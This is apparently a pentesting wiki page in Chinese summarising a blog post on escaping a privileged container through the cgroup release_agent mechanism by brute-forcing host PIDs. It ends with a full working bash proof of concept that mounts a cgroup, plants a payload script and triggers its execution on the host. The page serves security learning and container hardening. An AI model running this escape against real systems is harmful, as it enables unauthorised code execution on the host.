{{#include ../../../../banners/hacktricks-training.md}} 有关更多详细信息,请**查看来自 [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)** 的博客文章。这只是一个摘要: 该技术概述了一种**从容器内执行主机代码**的方法,克服了存储驱动程序配置带来的挑战,这些配置会模糊主机上的容器文件系统路径,例如 Kata Containers 或特定的 `devicemapper` 设置。 关键步骤: 1. **定位进程 ID (PIDs):** 使用 Linux 伪文件系统中的 `/proc//root` 符号链接,可以相对于主机的文件系统访问容器内的任何文件。这绕过了需要知道主机上容器文件系统路径的要求。 2. **PID 碰撞:** 采用暴力破解的方法搜索主机上的 PIDs。这是通过依次检查 `/proc//root/` 中特定文件的存在来完成的。当找到该文件时,表明相应的 PID 属于在目标容器内运行的进程。 3. **触发执行:** 猜测的 PID 路径被写入 `cgroups release_agent` 文件。此操作触发 `release_agent` 的执行。通过检查输出文件的创建来确认此步骤的成功。 ### 利用过程 利用过程涉及一系列更详细的操作,旨在通过猜测在容器内运行的进程的正确 PID 来在主机上执行有效载荷。以下是其展开方式: 1. **初始化环境:** 在主机上准备一个有效载荷脚本 (`payload.sh`),并为 cgroup 操作创建一个唯一的目录。 2. **准备有效载荷:** 编写并使有效载荷脚本可执行,该脚本包含要在主机上执行的命令。 3. **设置 Cgroup:** 挂载并配置 cgroup。设置 `notify_on_release` 标志,以确保在释放 cgroup 时执行有效载荷。 4. **暴力破解 PID:** 循环遍历潜在的 PIDs,将每个猜测的 PID 写入 `release_agent` 文件。这有效地将有效载荷脚本设置为 `release_agent`。 5. **触发并检查执行:** 对于每个 PID,写入 cgroup 的 `cgroup.procs`,如果 PID 正确,则触发 `release_agent` 的执行。循环继续,直到找到有效载荷脚本的输出,表明执行成功。 来自博客文章的 PoC: ```bash #!/bin/sh OUTPUT_DIR="/" MAX_PID=65535 CGROUP_NAME="xyx" CGROUP_MOUNT="/tmp/cgrp" PAYLOAD_NAME="${CGROUP_NAME}_payload.sh" PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}" OUTPUT_NAME="${CGROUP_NAME}_payload.out" OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}" # Run a process for which we can search for (not needed in reality, but nice to have) sleep 10000 & # Prepare the payload script to execute on the host cat > ${PAYLOAD_PATH} << __EOF__ #!/bin/sh OUTPATH=\$(dirname \$0)/${OUTPUT_NAME} # Commands to run on the host< ps -eaf > \${OUTPATH} 2>&1 __EOF__ # Make the payload script executable chmod a+x ${PAYLOAD_PATH} # Set up the cgroup mount using the memory resource cgroup controller mkdir ${CGROUP_MOUNT} mount -t cgroup -o memory cgroup ${CGROUP_MOUNT} mkdir ${CGROUP_MOUNT}/${CGROUP_NAME} echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release # Brute force the host pid until the output path is created, or we run out of guesses TPID=1 while [ ! -f ${OUTPUT_PATH} ] do if [ $((${TPID} % 100)) -eq 0 ] then echo "Checking pid ${TPID}" if [ ${TPID} -gt ${MAX_PID} ] then echo "Exiting at ${MAX_PID} :-(" exit 1 fi fi # Set the release_agent path to the guessed pid echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent # Trigger execution of the release_agent sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs" TPID=$((${TPID} + 1)) done # Wait for and cat the output sleep 1 echo "Done! Output:" cat ${OUTPUT_PATH} ``` {{#include ../../../../banners/hacktricks-training.md}}